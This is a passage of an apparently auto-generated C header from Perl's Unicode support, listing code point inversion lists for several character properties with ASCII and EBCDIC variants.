0x2263, - 0x226D, - 0x2272, - 0x2274, - 0x2276, - 0x2278, - 0x227A, - 0x2280, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x228A, - 0x22AC, - 0x22B0, - 0x22E0, - 0x22E4, - 0x22EA, - 0x22EE, - 0x2329, - 0x232B, - 0x2460, - 0x24EB, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2ADC, - 0x2ADD, - 0x2C7C, - 0x2C7E, - 0x2D6F, - 0x2D70, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3000, - 0x3001, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x304C, - 0x304D, - 0x304E, - 0x304F, - 0x3050, - 0x3051, - 0x3052, - 0x3053, - 0x3054, - 0x3055, - 0x3056, - 0x3057, - 0x3058, - 0x3059, - 0x305A, - 0x305B, - 0x305C, - 0x305D, - 0x305E, - 0x305F, - 0x3060, - 0x3061, - 0x3062, - 0x3063, - 0x3065, - 0x3066, - 0x3067, - 0x3068, - 0x3069, - 0x306A, - 0x3070, - 0x3072, - 0x3073, - 0x3075, - 0x3076, - 0x3078, - 0x3079, - 0x307B, - 0x307C, - 0x307E, - 0x3094, - 0x3095, - 0x309B, - 0x309D, - 0x309E, - 0x30A0, - 0x30AC, - 0x30AD, - 0x30AE, - 0x30AF, - 0x30B0, - 0x30B1, - 0x30B2, - 0x30B3, - 0x30B4, - 0x30B5, - 0x30B6, - 0x30B7, - 0x30B8, - 0x30B9, - 0x30BA, - 0x30BB, - 0x30BC, - 0x30BD, - 0x30BE, - 0x30BF, - 0x30C0, - 0x30C1, - 0x30C2, - 0x30C3, - 0x30C5, - 0x30C6, - 0x30C7, - 0x30C8, - 0x30C9, - 0x30CA, - 0x30D0, - 0x30D2, - 0x30D3, - 0x30D5, - 0x30D6, - 0x30D8, - 0x30D9, - 0x30DB, - 0x30DC, - 0x30DE, - 0x30F4, - 0x30F5, - 0x30F7, - 0x30FB, - 0x30FE, - 0x3100, - 0x3131, - 0x318F, - 0x3192, - 0x31A0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x327F, - 0x3280, - 0x32FF, - 0x3300, - 0x3400, - 0xA69C, - 0xA69E, - 0xA770, - 0xA771, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0xAC00, - 0xD7A4, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFD, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0x1109A, - 0x1109B, - 0x1109C, - 0x1109D, - 0x110AB, - 0x110AC, - 0x1112E, - 0x11130, - 0x1134B, - 0x1134D, - 0x114BB, - 0x114BD, - 0x114BE, - 0x114BF, - 0x115BA, - 0x115BC, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F150, - 0x1F16A, - 0x1F16C, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NFKDQC__N_invlist[] = { /* for EBCDIC 037 */ - 781, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x4A, - 0x51, - 0x59, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x8D, - 0x8E, - 0x9A, - 0x9C, - 0x9D, - 0x9E, - 0xA0, - 0xA1, - 0xAD, - 0xAE, - 0xB7, - 0xBA, - 0xBC, - 0xBF, - 0xCB, - 0xD0, - 0xDA, - 0xE0, - 0xEA, - 0xF0, - 0xFA, - 0xFF, - 0x100, - 0x110, - 0x112, - 0x126, - 0x128, - 0x131, - 0x132, - 0x138, - 0x139, - 0x141, - 0x143, - 0x14A, - 0x14C, - 0x152, - 0x154, - 0x166, - 0x168, - 0x180, - 0x1A0, - 0x1A2, - 0x1AF, - 0x1B1, - 0x1C4, - 0x1DD, - 0x1DE, - 0x1E4, - 0x1E6, - 0x1F6, - 0x1F8, - 0x21C, - 0x21E, - 0x220, - 0x226, - 0x234, - 0x2B0, - 0x2B9, - 0x2D8, - 0x2DE, - 0x2E0, - 0x2E5, - 0x340, - 0x342, - 0x343, - 0x345, - 0x374, - 0x375, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x391, - 0x3AA, - 0x3B1, - 0x3CA, - 0x3CF, - 0x3D0, - 0x3D7, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F9, - 0x3FA, - 0x400, - 0x402, - 0x403, - 0x404, - 0x407, - 0x408, - 0x40C, - 0x40F, - 0x419, - 0x41A, - 0x439, - 0x43A, - 0x450, - 0x452, - 0x453, - 0x454, - 0x457, - 0x458, - 0x45C, - 0x45F, - 0x476, - 0x478, - 0x4C1, - 0x4C3, - 0x4D0, - 0x4D4, - 0x4D6, - 0x4D8, - 0x4DA, - 0x4E0, - 0x4E2, - 0x4E8, - 0x4EA, - 0x4F6, - 0x4F8, - 0x4FA, - 0x587, - 0x588, - 0x622, - 0x627, - 0x675, - 0x679, - 0x6C0, - 0x6C1, - 0x6C2, - 0x6C3, - 0x6D3, - 0x6D4, - 0x929, - 0x92A, - 0x931, - 0x932, - 0x934, - 0x935, - 0x958, - 0x960, - 0x9CB, - 0x9CD, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB48, - 0xB49, - 0xB4B, - 0xB4D, - 0xB5C, - 0xB5E, - 0xB94, - 0xB95, - 0xBCA, - 0xBCD, - 0xC48, - 0xC49, - 0xCC0, - 0xCC1, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0xD4A, - 0xD4D, - 0xDDA, - 0xDDB, - 0xDDC, - 0xDDF, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF0C, - 0xF0D, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF7A, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x1026, - 0x1027, - 0x10FC, - 0x10FD, - 0x1B06, - 0x1B07, - 0x1B08, - 0x1B09, - 0x1B0A, - 0x1B0B, - 0x1B0C, - 0x1B0D, - 0x1B0E, - 0x1B0F, - 0x1B12, - 0x1B13, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B3E, - 0x1B40, - 0x1B42, - 0x1B43, - 0x1B44, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x1E00, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x200B, - 0x2011, - 0x2012, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x202F, - 0x2030, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A8, - 0x20A9, - 0x2100, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x2114, - 0x2115, - 0x2117, - 0x2119, - 0x211E, - 0x2120, - 0x2123, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2132, - 0x2133, - 0x213A, - 0x213B, - 0x2141, - 0x2145, - 0x214A, - 0x2150, - 0x2180, - 0x2189, - 0x218A, - 0x219A, - 0x219C, - 0x21AE, - 0x21AF, - 0x21CD, - 0x21D0, - 0x2204, - 0x2205, - 0x2209, - 0x220A, - 0x220C, - 0x220D, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2241, - 0x2242, - 0x2244, - 0x2245, - 0x2247, - 0x2248, - 0x2249, - 0x224A, - 0x2260, - 0x2261, - 0x2262, - 0x2263, - 0x226D, - 0x2272, - 0x2274, - 0x2276, - 0x2278, - 0x227A, - 0x2280, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x228A, - 0x22AC, - 0x22B0, - 0x22E0, - 0x22E4, - 0x22EA, - 0x22EE, - 0x2329, - 0x232B, - 0x2460, - 0x24EB, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2ADC, - 0x2ADD, - 0x2C7C, - 0x2C7E, - 0x2D6F, - 0x2D70, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3000, - 0x3001, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x304C, - 0x304D, - 0x304E, - 0x304F, - 0x3050, - 0x3051, - 0x3052, - 0x3053, - 0x3054, - 0x3055, - 0x3056, - 0x3057, - 0x3058, - 0x3059, - 0x305A, - 0x305B, - 0x305C, - 0x305D, - 0x305E, - 0x305F, - 0x3060, - 0x3061, - 0x3062, - 0x3063, - 0x3065, - 0x3066, - 0x3067, - 0x3068, - 0x3069, - 0x306A, - 0x3070, - 0x3072, - 0x3073, - 0x3075, - 0x3076, - 0x3078, - 0x3079, - 0x307B, - 0x307C, - 0x307E, - 0x3094, - 0x3095, - 0x309B, - 0x309D, - 0x309E, - 0x30A0, - 0x30AC, - 0x30AD, - 0x30AE, - 0x30AF, - 0x30B0, - 0x30B1, - 0x30B2, - 0x30B3, - 0x30B4, - 0x30B5, - 0x30B6, - 0x30B7, - 0x30B8, - 0x30B9, - 0x30BA, - 0x30BB, - 0x30BC, - 0x30BD, - 0x30BE, - 0x30BF, - 0x30C0, - 0x30C1, - 0x30C2, - 0x30C3, - 0x30C5, - 0x30C6, - 0x30C7, - 0x30C8, - 0x30C9, - 0x30CA, - 0x30D0, - 0x30D2, - 0x30D3, - 0x30D5, - 0x30D6, - 0x30D8, - 0x30D9, - 0x30DB, - 0x30DC, - 0x30DE, - 0x30F4, - 0x30F5, - 0x30F7, - 0x30FB, - 0x30FE, - 0x3100, - 0x3131, - 0x318F, - 0x3192, - 0x31A0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x327F, - 0x3280, - 0x32FF, - 0x3300, - 0x3400, - 0xA69C, - 0xA69E, - 0xA770, - 0xA771, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0xAC00, - 0xD7A4, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFD, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0x1109A, - 0x1109B, - 0x1109C, - 0x1109D, - 0x110AB, - 0x110AC, - 0x1112E, - 0x11130, - 0x1134B, - 0x1134D, - 0x114BB, - 0x114BD, - 0x114BE, - 0x114BF, - 0x115BA, - 0x115BC, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F150, - 0x1F16A, - 0x1F16C, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_NKO_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x7C0, - 0x7FB -}; - -static const UV PL_NL_invlist[] = { /* for all charsets */ - 25, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x16EE, - 0x16F1, - 0x2160, - 0x2183, - 0x2185, - 0x2189, - 0x3007, - 0x3008, - 0x3021, - 0x302A, - 0x3038, - 0x303B, - 0xA6E6, - 0xA6F0, - 0x10140, - 0x10175, - 0x10341, - 0x10342, - 0x1034A, - 0x1034B, - 0x103D1, - 0x103D6, - 0x12400, - 0x1246F -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NO_invlist[] = { /* for ASCII/Latin1 */ - 121, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB2, - 0xB4, - 0xB9, - 0xBA, - 0xBC, - 0xBF, - 0x9F4, - 0x9FA, - 0xB72, - 0xB78, - 0xBF0, - 0xBF3, - 0xC78, - 0xC7F, - 0xD58, - 0xD5F, - 0xD70, - 0xD79, - 0xF2A, - 0xF34, - 0x1369, - 0x137D, - 0x17F0, - 0x17FA, - 0x19DA, - 0x19DB, - 0x2070, - 0x2071, - 0x2074, - 0x207A, - 0x2080, - 0x208A, - 0x2150, - 0x2160, - 0x2189, - 0x218A, - 0x2460, - 0x249C, - 0x24EA, - 0x2500, - 0x2776, - 0x2794, - 0x2CFD, - 0x2CFE, - 0x3192, - 0x3196, - 0x3220, - 0x322A, - 0x3248, - 0x3250, - 0x3251, - 0x3260, - 0x3280, - 0x328A, - 0x32B1, - 0x32C0, - 0xA830, - 0xA836, - 0x10107, - 0x10134, - 0x10175, - 0x10179, - 0x1018A, - 0x1018C, - 0x102E1, - 0x102FC, - 0x10320, - 0x10324, - 0x10858, - 0x10860, - 0x10879, - 0x10880, - 0x108A7, - 0x108B0, - 0x108FB, - 0x10900, - 0x10916, - 0x1091C, - 0x109BC, - 0x109BE, - 0x109C0, - 0x109D0, - 0x109D2, - 0x10A00, - 0x10A40, - 0x10A48, - 0x10A7D, - 0x10A7F, - 0x10A9D, - 0x10AA0, - 0x10AEB, - 0x10AF0, - 0x10B58, - 0x10B60, - 0x10B78, - 0x10B80, - 0x10BA9, - 0x10BB0, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11052, - 0x11066, - 0x111E1, - 0x111F5, - 0x1173A, - 0x1173C, - 0x118EA, - 0x118F3, - 0x11C5A, - 0x11C6D, - 0x16B5B, - 0x16B62, - 0x1D360, - 0x1D372, - 0x1E8C7, - 0x1E8D0, - 0x1F100, - 0x1F10D -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NO_invlist[] = { /* for EBCDIC 1047 */ - 123, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB7, - 0xBA, - 0xDA, - 0xDB, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0x9F4, - 0x9FA, - 0xB72, - 0xB78, - 0xBF0, - 0xBF3, - 0xC78, - 0xC7F, - 0xD58, - 0xD5F, - 0xD70, - 0xD79, - 0xF2A, - 0xF34, - 0x1369, - 0x137D, - 0x17F0, - 0x17FA, - 0x19DA, - 0x19DB, - 0x2070, - 0x2071, - 0x2074, - 0x207A, - 0x2080, - 0x208A, - 0x2150, - 0x2160, - 0x2189, - 0x218A, - 0x2460, - 0x249C, - 0x24EA, - 0x2500, - 0x2776, - 0x2794, - 0x2CFD, - 0x2CFE, - 0x3192, - 0x3196, - 0x3220, - 0x322A, - 0x3248, - 0x3250, - 0x3251, - 0x3260, - 0x3280, - 0x328A, - 0x32B1, - 0x32C0, - 0xA830, - 0xA836, - 0x10107, - 0x10134, - 0x10175, - 0x10179, - 0x1018A, - 0x1018C, - 0x102E1, - 0x102FC, - 0x10320, - 0x10324, - 0x10858, - 0x10860, - 0x10879, - 0x10880, - 0x108A7, - 0x108B0, - 0x108FB, - 0x10900, - 0x10916, - 0x1091C, - 0x109BC, - 0x109BE, - 0x109C0, - 0x109D0, - 0x109D2, - 0x10A00, - 0x10A40, - 0x10A48, - 0x10A7D, - 0x10A7F, - 0x10A9D, - 0x10AA0, - 0x10AEB, - 0x10AF0, - 0x10B58, - 0x10B60, - 0x10B78, - 0x10B80, - 0x10BA9, - 0x10BB0, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11052, - 0x11066, - 0x111E1, - 0x111F5, - 0x1173A, - 0x1173C, - 0x118EA, - 0x118F3, - 0x11C5A, - 0x11C6D, - 0x16B5B, - 0x16B62, - 0x1D360, - 0x1D372, - 0x1E8C7, - 0x1E8D0, - 0x1F100, - 0x1F10D -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NO_invlist[] = { /* for EBCDIC 037 */ - 123, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB7, - 0xBA, - 0xDA, - 0xDB, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0x9F4, - 0x9FA, - 0xB72, - 0xB78, - 0xBF0, - 0xBF3, - 0xC78, - 0xC7F, - 0xD58, - 0xD5F, - 0xD70, - 0xD79, - 0xF2A, - 0xF34, - 0x1369, - 0x137D, - 0x17F0, - 0x17FA, - 0x19DA, - 0x19DB, - 0x2070, - 0x2071, - 0x2074, - 0x207A, - 0x2080, - 0x208A, - 0x2150, - 0x2160, - 0x2189, - 0x218A, - 0x2460, - 0x249C, - 0x24EA, - 0x2500, - 0x2776, - 0x2794, - 0x2CFD, - 0x2CFE, - 0x3192, - 0x3196, - 0x3220, - 0x322A, - 0x3248, - 0x3250, - 0x3251, - 0x3260, - 0x3280, - 0x328A, - 0x32B1, - 0x32C0, - 0xA830, - 0xA836, - 0x10107, - 0x10134, - 0x10175, - 0x10179, - 0x1018A, - 0x1018C, - 0x102E1, - 0x102FC, - 0x10320, - 0x10324, - 0x10858, - 0x10860, - 0x10879, - 0x10880, - 0x108A7, - 0x108B0, - 0x108FB, - 0x10900, - 0x10916, - 0x1091C, - 0x109BC, - 0x109BE, - 0x109C0, - 0x109D0, - 0x109D2, - 0x10A00, - 0x10A40, - 0x10A48, - 0x10A7D, - 0x10A7F, - 0x10A9D, - 0x10AA0, - 0x10AEB, - 0x10AF0, - 0x10B58, - 0x10B60, - 0x10B78, - 0x10B80, - 0x10BA9, - 0x10BB0, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11052, - 0x11066, - 0x111E1, - 0x111F5, - 0x1173A, - 0x1173C, - 0x118EA, - 0x118F3, - 0x11C5A, - 0x11C6D, - 0x16B5B, - 0x16B62, - 0x1D360, - 0x1D372, - 0x1E8C7, - 0x1E8D0, - 0x1F100, - 0x1F10D -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_NSHU_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x16FE1, - 0x16FE2, - 0x1B170, - 0x1B2FC -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NT__DI_invlist[] = { /* for ASCII/Latin1 */ - 41, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB2, - 0xB4, - 0xB9, - 0xBA, - 0x1369, - 0x1372, - 0x19DA, - 0x19DB, - 0x2070, - 0x2071, - 0x2074, - 0x207A, - 0x2080, - 0x208A, - 0x2460, - 0x2469, - 0x2474, - 0x247D, - 0x2488, - 0x2491, - 0x24EA, - 0x24EB, - 0x24F5, - 0x24FE, - 0x24FF, - 0x2500, - 0x2776, - 0x277F, - 0x2780, - 0x2789, - 0x278A, - 0x2793, - 0x10A40, - 0x10A44, - 0x10E60, - 0x10E69, - 0x11052, - 0x1105B, - 0x1F100, - 0x1F10B -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NT__DI_invlist[] = { /* for EBCDIC 1047 */ - 43, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xDA, - 0xDB, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0x1369, - 0x1372, - 0x19DA, - 0x19DB, - 0x2070, - 0x2071, - 0x2074, - 0x207A, - 0x2080, - 0x208A, - 0x2460, - 0x2469, - 0x2474, - 0x247D, - 0x2488, - 0x2491, - 0x24EA, - 0x24EB, - 0x24F5, - 0x24FE, - 0x24FF, - 0x2500, - 0x2776, - 0x277F, - 0x2780, - 0x2789, - 0x278A, - 0x2793, - 0x10A40, - 0x10A44, - 0x10E60, - 0x10E69, - 0x11052, - 0x1105B, - 0x1F100, - 0x1F10B -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NT__DI_invlist[] = { /* for EBCDIC 037 */ - 43, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xDA, - 0xDB, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0x1369, - 0x1372, - 0x19DA, - 0x19DB, - 0x2070, - 0x2071, - 0x2074, - 0x207A, - 